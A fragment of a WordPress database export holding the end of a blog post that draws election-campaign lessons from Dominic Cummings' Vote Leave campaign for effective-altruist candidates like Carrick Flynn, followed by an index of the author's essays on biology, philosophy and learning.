shouldn’t have put this here. But I thought it was funny.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>This also applies to Sam Bankman-Fried. The fact that Sam Bankman-Fried donated $7 million to Carrick Flynn’s campaign became the major focus of the press on Flynn’s campaign. It makes a lot of sense to me, personally, why he did this. Sam Bankman-Fried cares about pandemic prevention, and he wanted to donate to a candidate who also does. However, from the locals’ perspective, “random crypto billionaire donates millions to dude we’ve never heard of who’s running for Congress” is pretty sketchy, and was not helped by the additional EA people donating additional millions to Carrick Flynn.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>3. Have a couple focus-tested messages and stick to them.</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>One of the things that Dominic Cummings repeats endlessly is the importance of the Vote Leave campaign’s two central messages:&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>a) The UK gives 350 million pounds a week to the EU, when they could have been giving that to the NHS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>b) There is going to be a flood of immigration into the UK with the new countries, like Turkey, joining the EU.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>They developed these messages near the beginning of the campaign, tested them with a variety of focus groups, and found they were by far the strongest messages. So, those were the messages they stuck to in all of their advertising, public messaging, and media campaigns.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F50617b7b-2b32-4ec6-b086-afb2399c059f_976x549.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F50617b7b-2b32-4ec6-b086-afb2399c059f_976x549.jpeg\" alt=\"Reality Check: Checking the Vote Leave leaflet - BBC News\" title=\"Reality Check: Checking the Vote Leave leaflet - BBC News\"/></a><figcaption>The infamous, incredibly effective Vote Leave leaflet that they blanketed the UK with.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>It’s important to note that these were not the most obviously important messages. Dominic Cummings, as previously mentioned, cared most about issues of political control. The media thought that Vote Leave should make their argument about the EU market, and tried to encourage them in that direction in debates. The conservative politicians came up with “Go Global” along with a fun diagram of a globe, which they thought was very clever.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But none of those messages tested as well as Turkey/NHS/£350 million, so Dominic Cummings ignored them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In Carrick Flynn’s campaign, it seems really obvious that his messages were not focus-tested. In a Democratic primary in an agricultural district, I’d assume that the messages that are going to play best to the Democratic base are going to be either culture war or stuff about supporting agriculture. I would really doubt that messages about effective cooperation or pandemic prevention test well.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Meanwhile, Andrea Salinas, the winner of the OR-06 primary, was focused very deliberately on culture war stuff in her messaging: universal healthcare, $15 minimum wage, abortion rights, and gun control. I’m not saying this is brilliant, but, if you had to bet without doing focus testing on what’s going to be the best message to communicate with a Democratic base, I’d bet it’s the same stuff that gets AOC all of her positive press.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>4. Measure the effectiveness of advertising.</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>As someone who sells my services and products every day for a living, I am forced to be aware of how ineffective most advertising is. I have spent dozens of hours and spent thousands of dollars on ad campaigns which had zero results on my sales.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is something that Dominic Cummings and his team were also acutely aware of. They only had 13.7 million pounds (coincidentally, close to the amount that Carrick Flynn had) to convince an entire country to vote a certain way. So, when they purchased advertising, they prioritized advertising whose effectiveness could be measured and compared, namely digital advertising (i.e. Facebook ads) and leafleting. They also used follow-up surveys of voters to determine how the advertising changed their likelihood of voting Leave.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, I don’t know if Carrick Flynn’s campaign did something similar. But, given that they had $14 million to quickly spend on a district of around 500k people, I’d bet they didn’t. Instead, I’d bet they went the overfunded startup mode: when you have too much money, not enough people to really monitor the money spent, and a limited amount of time to spend the money, you just blanket the ads everywhere and hope for the best. This is not a good way to ensure votes.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Thanks for reading my newsletter! Future posts will almost certainly not be about politics.<strong>✓</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For what it’s worth, after coming up with his campaign’s messaging, Cummings found the most effective marketing was face-to-face, followed by texts, followed by targeting Facebook ads and targeted mail (including personally addressed mail). Emails and phone calls were almost useless, and Twitter was exceptionally useless.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>5. Distract the useless people.</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>One of Dominic Cummings’ major complaints about the broader Vote Leave coalition was how useless most of his political allies were. Most politicians, in his view, would rather lose a campaign conventionally than win it unconventionally, so they were constantly bombarding him with useless ideas about what they thought should work. This included using the same tactics, consultants, and messaging that had made Vote Leave so unpopular in the start of the campaign.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Cummings’s response was to organize committees for them to be on and then ignore the recommendations of the committees. When he needed them to fall in line (e.g. go on TV and say a certain message), there was a lot of bullying, cajoling, and bribing he needed to do as well.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’m sure Carrick Flynn, and any person who attracts a lot of EA support, is going to get a lot of well-meaning but useless feedback from EA people, including people in the EA hierarchy. I don’t know how Carrick handled this, but committees seem to be a good way of doing so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>6. Advertise closer to the end of the decision.&nbsp;</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>This one’s pretty straightforward, but it makes sense. Even though the Brexit referendum was announced many months before it actually happened, Dominic Cummings saved most of his advertising and messaging for the last 10 weeks. Most people don’t think about politics that much or that often, so they really only care close to when they need to make a decision.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>7. Decentralize your decision-making</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Campaigns are an unwieldy mix of volunteers and paid staff, all of whom are brought on very quickly. It’s like working at a startup with worse incentive alignment. As such, decisions from the top are not necessarily going to be executed at the bottom, and information from the bottom is not necessarily going to be filtered up to the top.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The most important thing, then, is to give everyone the information they need to do their job, and then the latitude to make the decisions necessary as they see fit. This is especially important when it comes to volunteers, who have a wide range of effectiveness, from the incredibly engaged to the half-assed. It’s important for the incredibly engaged to be able to go above and beyond with their work, and not be blocked by the half-assed.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>EA and EA-associated political campaigns will of course have this exact issue in spades. Decentralizing and empowering the more engaged so that they aren’t distracted by the less engaged will be huge for making a more effective campaign. I don’t know how Carrick Flynn ran the internals of his campaign, but I hope future EA campaigns go by this model.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>8. With a gentleman, a gentleman-and-a-half. With a pirate, a pirate-and-a-half.</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>This charming phrasing comes directly from Dominic Cummings. If you’re confused about the meaning, it’s basically tit-for-tat: if someone treats you nicely, treat them nicely. If someone treats you poorly, treat them poorly.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I imagine the extent to which this applies in politics would come as a surprise to most EA people. As Dominic Cummings found out, many people who are supposedly on your side in politics will actively work against you for their own reasons. Nigel Farage, for instance, undermined the Vote Leave campaign among his followers, forbidding them from working with Cummings, as he was upset that the campaign did not feature him. This was one of the reasons why Cummings constantly sidelined Farage and refused to give him information.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Carrick Flynn got a taste of this with&nbsp;<a href=\"https://www.wweek.com/news/state/2022/05/01/environmental-groups-condemn-congressional-candidate-carrick-flynns-comments-on-spotted-owls-timber-unity/\">his owl dustup</a>, in which he said he had “emotional sympathy” for Timber Unity, a group which was frustrated with restrictions on logging due to protections for an endangered owl species. This relatively innocuous phrase of “emotional sympathy” earned this public response from 6 different environmental groups in Oregon:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:quote -->\n<blockquote class=\"wp-block-quote\"><p>As organizations who have been fighting for decades to uphold the strong environmental values held by the people of Oregon, we are stunned and deeply saddened to hear Carrick Flynn, a Democratic candidate running for Congress, make comments mocking critical environmental protections, sympathizing with a far-right group that has ties to the Jan. 6 insurrection, and referring to our state’s iconic land use system as ‘insane’.</p></blockquote>\n<!-- /wp:quote -->\n\n<!-- wp:paragraph -->\n<p>Carrick Flynn might have expected environmentalists to be gentlemen, at least to him, given that one of his main campaign issues was building a green economy. He was wrong. They were pirates, and he needed to treat them as such. That included not apologizing or reversing statements: pirates take that as a sign of weakness.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>9. If you want to get the atypical voters involved, you have to be creative.</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>EA, by its nature, is a niche philosophy. However, I suspect that there are many non-engaged voters who would be interested in voting for an EA candidate speaking about EA issues, like pandemic prevention.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The challenge is reaching these voters. They are, by definition, not into politics. This was the same challenge Dominic Cummings faced. He wanted to reach working-class men who’d be most affected by a wave of unskilled immigration into the UK. However, these are not the sort of men who are generally into politics. The only news they follow, generally, is football (soccer) news.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, in order to reach them, that’s exactly the avenue that Dominic Cummings went down. The Vote Leave Campaign did a contest where football fans could win 50 million pounds if they successfully predicted the winner of every game in the European Championships that year. All they had to do was put in their name, address, email, telephone number, and how they intended to vote in the referendum.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F8a6ac771-1b2b-4991-ac24-dfc917751be8_976x549.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F8a6ac771-1b2b-4991-ac24-dfc917751be8_976x549.jpeg\" alt=\"Vote Leave fined over thousands of unsolicited texts - BBC News\" title=\"Vote Leave fined over thousands of unsolicited texts - BBC News\"/></a><figcaption>This is literally what the ad looked like. Sketchy? Yes, absolutely. But it worked.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Now, what does the European Championships have to do with Brexit? Very little! But that didn’t matter. The important thing was that this information gave Dominic Cummings the information he needed to target the voters.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’m not sure what the equivalent contest would be for EA. There would need to be some better polling on who’s most sympathetic to EA issues. Perhaps it’s college students, or even churchgoers. However, it’d be easy enough to figure out, and then getting the information for these sorts of voters would only be a stupid contest away.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>10. Know what the press cares about.</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>For the most part, the press was hostile to Vote Leave. When they did cover it, they covered it unsympathetically. More importantly, however, they weren’t particularly interested in covering the issues that Vote Leave cared about, which made it difficult for Vote Leave to get press coverage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This isn’t unique to Vote Leave. The press, by and large, isn’t interested in substantial coverage of issues, and neither is their readership. When they cover politics, they’re really most interested in the personalities and the drama behind it, or, as Cummings puts it, the “snakes and ladders of careers”.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, the story that Cummings gave to the press was that Conservatives were forming an alternative government, and that Boris Johnson and Michael Gove were going to be head of it. This transformed the issue of Vote Leave into one of politicians usurping power, which is something the press cares about a lot more and is willing to cover. And, when Cummings got Johnson and Gove to discuss the reasons why they were forming an “alternative government”, namely the same focus-tested issues from before, this allowed those issues to get press coverage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>EA politicians need to do something similar. Carrick Flynn accidentally found out how the press worked when by far the biggest story of his campaign was a mysterious young crypto billionaire giving him $7 million, followed by environmentalist groups condemning him for his owl remarks. Or, in other words, money and interpersonal drama.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Faa1a9382-1bd0-44ac-88b3-2d81227f0395_1460x1106.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Faa1a9382-1bd0-44ac-88b3-2d81227f0395_1460x1106.png\" alt=\"\"/></a><figcaption>Top stories when I Google Carrick Flynn are Nancy Pelosi, Sam Bankman-Fried, and crypto. This is what the press cares about!</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>If EA groups or Carrick Flynn had planned better, they perhaps could have manipulated the press to their own benefit. For example, Carrick Flynn and Sam Bankman-Fried could have collaborated to make the story more like Flynn convincing Bankman-Fried to invest $7 million into Oregon as a green job initiative as part of some nonprofit that Flynn set up. That would require some extra work, but would have played way better in the press.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To conclude, I don’t mean to denigrate Carrick Flynn, EA, or Sam Bankman-Fried. This criticism comes out of a place of love, as I really do appreciate what EA does, what it stands for, and the impact it’s had in my life. I also think that Carrick Flynn seems like a great, hard-working guy, and I have no doubt he’d be the same as a politician.<br><br>However, as I said in the beginning, $14 million is a ton of money, whether you measure it by bednets or Congressional race standards. Dominic Cummings ran a nationwide campaign with about the same amount of money. If EA can’t win a local Congressional race with that amount, then there needs to be some serious reworking of how we think about things. I’m hoping this will be a good place to start.</p>\n<!-- /wp:paragraph -->','How to win an election in 10 easy steps: an effective altruist\'s guide','','inherit','closed','closed','','289-revision-v1','','','2022-05-27 14:35:41','2022-05-27 14:35:41','',289,'https://trevorklee.com/?p=290',0,'revision','',0),
(292,1,'2022-05-27 14:39:34','2022-05-27 14:39:34','<div class=\"ml-form-embed\" data-account=\"1447886:p2j3d8j1q4\" data-form=\"4814894:l5k3q3\">\n</div>\n\n<!-- wp:heading -->\n<h2>Biology</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/obesitys-relationship-with-type-2-diabetes-is-really-weird/\" data-type=\"page\" data-id=\"287\">Obesity\'s relationship with type 2 diabetes is really weird</a> - Once again, I go down the rabbit hole of obesity\'s weird health effects. This time, it\'s exploring type 2 diabetes, and why it\'s so easy to reverse and then un-reverse. It\'s weird!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-medical-thought-experiment/\" data-type=\"page\" data-id=\"283\">A medical thought experiment</a> - Traveling back in time to see if one could rediscover germ theory in the year 1650. Then, a twist!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/you-should-justify-your-exclusion-criteria/\">You should justify your exclusion criteria</a> - Discussing the use of exclusion criteria in medical intervention studies. Too often, they\'re used to redefine conditions into different ones than are discussed in the abstract.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/can-gene-therapy-fix-any-genetic-defect/\">Can gene therapy fix any genetic defect?</a> - Talking about the sorts of things gene therapy is good for and the sorts of things it really isn\'t.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-manifold-effects-of-tetracycline/\">The manifold effects of tetracycline</a> - Elaborating on the weirdly long list of effects of tetracycline and celebrating \"dirty\" drugs. Did you know tetracycline can cause teeth graying?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/ebv-causes-multiple-sclerosis-so-what/\" data-type=\"page\" data-id=\"263\">Epstein-Barr virus causes multiple sclerosis. So what?</a> - I question the implications of the most exciting epidemiological study of the year.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/should-you-take-metformin-for-longevity/\">Should you take metformin for longevity? No.</a> - Sorry for the spoiler, but in this essay, I take a look at the promise of metformin now for longevity, and the promise of metformin as a longevity therapeutic in the future. Neither impresses me.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/want-to-reverse-aging-try-reversing-graying-first/\">Want to reverse aging? Try reversing graying, first</a>. - Looking at the difficulties of graying research and comparing them with the much greater difficulties of general aging research. Also, looking at spontaneous re-pigmentation as possibly the only example of \"reversing\" aging in humans, and what can be learned from that.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-did-they-give-antidepressants-to-covid-patients/\" data-type=\"page\" data-id=\"234\">Why did they give antidepressants to COVID patients?</a> - Looking at the TOGETHER trial, which gave fluvoxamine to COVID patients in Brazil, as an example of repurposing gone right. I talk about the scientific background of the trial, why its success is hard to replicate (especially the funding parts), and the hacky ways for-profit companies try to do their own repurposing trials.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/organ-transplant-patients-maybe-dont-get-dementia-heres-why/\" data-type=\"page\" data-id=\"229\">Why organ transplant patients may not get dementia</a> - Exploring the implications of a paper that claims that patients on calcineurin inhibitors, a specific type of immunosuppressant commonly given to organ transplant patients, don\'t get dementia. One of these implications is that, if the paper\'s right, investors should give me money.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-cant-we-just-give-steroids-to-people-with-muscular-dystrophy/\" data-type=\"page\" data-id=\"195\">Why can\'t we just give steroids to people with muscular dystrophy?</a> -  Short answer: muscular dystrophy destroys the muscles, while steroids just recruit more muscle fibers that would be destroyed. It took 12 years and over a billion dollars to get to that answer, though.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-lesser-known-mechanism-for-alcohol-tolerance/\" data-type=\"page\" data-id=\"180\">A lesser known mechanism for alcohol tolerance</a> - exploring the mystery of alcoholics who walk around with a blood-alcohol level that would literally kill a non-drinker. I argue that the answer is modification to BK channels.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-bigger-species-live-longer-and-what-we-can-learn-from-it/\" data-type=\"page\" data-id=\"85\">Why bigger species live longer and what we can learn from it</a> - simple observation: bigger species live longer than smaller species (elephants vs. mice), but bigger breeds live shorter than smaller breeds (St. Bernards vs. Chihuahuas). This essay argues that immunology is the key.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-complete-guide-to-self-diagnosing-and-self-treating-ibs/\" data-type=\"page\" data-id=\"58\">A complete guide to self-diagnosing and self-treating IBS</a> - Self-explanatory. This is the sort of guide I wished I had when I was suffering through IBS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/are-mrna-therapies-the-future-of-pharmaceuticals/\" data-type=\"page\" data-id=\"54\">Are mRNA therapies the future?</a> - Examining the hype around mRNA. Hype is partially busted: mRNA is cool, but it\'s not a cure-all, and at this point it\'s difficult to imagine it being effective in non-vaccine therapeutics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-oncology-is-so-popular-for-pharmaceuticals/\">Why oncology is so popular for pharmaceuticals</a> - Discussing the economic reasons why oncology is such an attractive category for pharma companies, as well as the statistical reasons. Hint: it\'s because oncology drugs use bullshit measurements.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/what-is-the-role-of-inflammation-in-the-immune-system/\" data-type=\"page\" data-id=\"40\">What exactly is the role of inflammation in the immune system?</a> - Exploring the enduring mystery of why anti-inflammatory drugs like ibuprofen and adalimumab don\'t make people much more susceptible to infections.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/27/the-troubles-with-how-the-rate-of-virus-transmission-is-measured/\">Don\'t use R0 to measure the rate of COVID transmission </a>- Arguing that R0 is a bad measure because:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>It depends on circumstance and is not an inherent property of the virus</li><li>It\'s an average, which ignores superspreaders</li><li>Its problematic calculation assumes asymptomatic transmission, a constant relationship between when a person is infected and when they show symptoms, and a single number for \"infectiousness\", none of which are justified</li><li>The estimates for R0 of all viruses vary drastically</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/21/asymptomatic-shedding-of-viruses-is-the-norm/\">Asymptomatic shedding of the virus is the norm</a> - arguing from examples of every kind of virus (DNA, RNA, enveloped, and unenveloped) that asymptomatic shedding and transmission is common and uncontroversial</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/14/why-do-some-viruses-cross-over-from-animals/\">How to make bird flu (H5N1) cross over to humans</a> - exploring how viruses cross over from animals to humans, using an experiment where they made the bird flu transmissible between ferrets (and probably between humans)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/30/why-do-we-keep-getting-diseases-from-bats/\">Why do humans keep getting diseases from bats?</a> - long story short, because bats are social and are virus \"reservoirs\". This is because their unique immune system allows them to live with viruses that would kill other mammals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/15/genetically-engineering-virus-immune-bees/\">Genetically engineering virus immune bees</a> - exploring a paper that shows how scientists infected bees with a bacterium that gave the bees immunity to the viruses and mites that cause colony collapse. The key technology was RNA interference, which I explored for a bit in my \"failed projects\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2><strong>Philosophy</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/socrates-and-categorizations/\">Socrates and Categorizations</a>&nbsp;- Socrates, the first philosopher, developed a method to refine definitions and eliminate internal contradictions in thought. But his method has limitations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/aristotle-and-logical-systems/\">Aristotle and logical systems</a> - Aristotle was a brilliant man who insisted that the world make sense to him. So he developed a way of making it so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/francis-bacon-and-observation/\">Francis Bacon and observations</a>&nbsp;- Deduction is useful in many ways, but it can\'t produce new knowledge. Only induction can do that, but it\'s a tricky process. Francis Bacon tried to refine the method, and ended up being the first philosopher of science.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/descartes-and-radical-skepticism/\">Descartes and radical skepticism</a> - If skepticism is&nbsp;a hammer, Descartes saw all of philosophy as a wall of glass. And he was eager to start smashing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hume-and-the-problem-of-induction/\">Hume and the problem of induction</a>&nbsp;- Induction is super useful. It\'s a pity, therefore, that Hume showed it can never be justified. In short, nothing can ever be said to cause anything.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/immanuel-kant-and-intuition/\">Immanuel Kant and intuition</a>&nbsp;- According to Kant, thinking about thinking is like using a microscope to examine itself. It can\'t be done. Why? Intuition, or \"pre-processing\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/wittgenstein-and-the-limits-of-language/\">Wittgenstein and the limits of language</a> - Right now, I\'m attempting to use language to convey meaning. Is it working? Wittgenstein will tell us.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/karl-popper-and-falsificationism/\">Karl Popper and falsificationism</a> - Science is what allows men to fly, control electricity, and cheat death. It\'d probably be a good idea to figure out what exactly it is, then. Karl Popper is on the case.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/20/why-internet-arguments-go-in-circles-according-to-charles-sanders-peirce/\">Charles Sanders Peirce and arguments</a> -  For arguments to work, both sides need to be working off the same definitions. Two users of a word have the same definition of that word only if they intend the same effect when using that word.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>Learning</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/09/levels-to-it-wrestling-and-learning/\">How D1 wrestlers learn and what we can learn from them</a> - basically, the best learning environment is to have</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>Close interaction with other people who are learning the same thing</li><li>Emotional bonding with said people</li><li>Drilling of what you want to learn</li><li>Single-minded focus on exactly what you want to learn</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/13/using-flashcards-to-learn-pretty-much-anything/\">Using spaced repetition flashcards to learn pretty much anything</a> - showing how spaced repetition can be used to learn any subject, including mathematics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/27/why-introductory-chemistry-is-boring-a-long-term-historical-perspective/\">Why introductory chemistry is boring: a historical perspective</a> - showing the evolution of the teaching of chemistry over time, from exciting medieval times to the overly boring present</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/03/why-most-intro-philosophy-courses-feel-useless-and-how-to-fix-them/\">Why most intro philosophy courses feel useless</a> - long story short, because they ask somewhat interesting questions and don\'t even try to answer them</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/13/learning-calculus-should-be-shocking-not-confusing-a-historical-perspective/\">How to fix calculus: make calculus exciting again</a> - showing how shocking calculus is (and historically controversial), and arguing that, if students were shocked by calculus, they might be interested in learning it</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>  </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2><strong>Uncategorized</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-win-an-election-in-10-easy-steps-an-effective-altruists-guide/\" data-type=\"page\" data-id=\"289\">How to win an election in 10 easy steps: an effective altruist\'s guide</a> - Written after the $14 million failure of the Carrick Flynn Congressional campaign. It\'s an attempt to gain some learning from it. Am I qualified to write this? Nope, but I\'ll do it anyways. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/my-terrible-plan-for-reducing-opioid-deaths/\" data-type=\"page\" data-id=\"257\">My terrible plan for reducing opioid deaths</a> - I discuss a drug that preserves respiratory function while still allowing for the pain-killing effects of opiates, and propose that everyone gets high with no consequences</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/so-you-want-to-patent-a-drug-heres-what-you-need-to-know/\" data-type=\"page\" data-id=\"203\">So, you want to patent a drug. Here’s what you need to know.</a> - Self-explanatory.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p> <a href=\"https://trevorklee.com/what-the-fda-is-really-like-from-a-small-biotechs-perspective-hint-theyre-terrifying/\" data-type=\"page\" data-id=\"187\">What the FDA is like from a small biotech\'s perspective (hint: they\'re terrifying)</a> - discussing the FDA through the lens of Axsome Therapeutics, a small biotech who rightfully thought they had a soon-to-be-approved treatment for depression. Then they got caught in a drive-by by the FDA. </p>\n<!-- 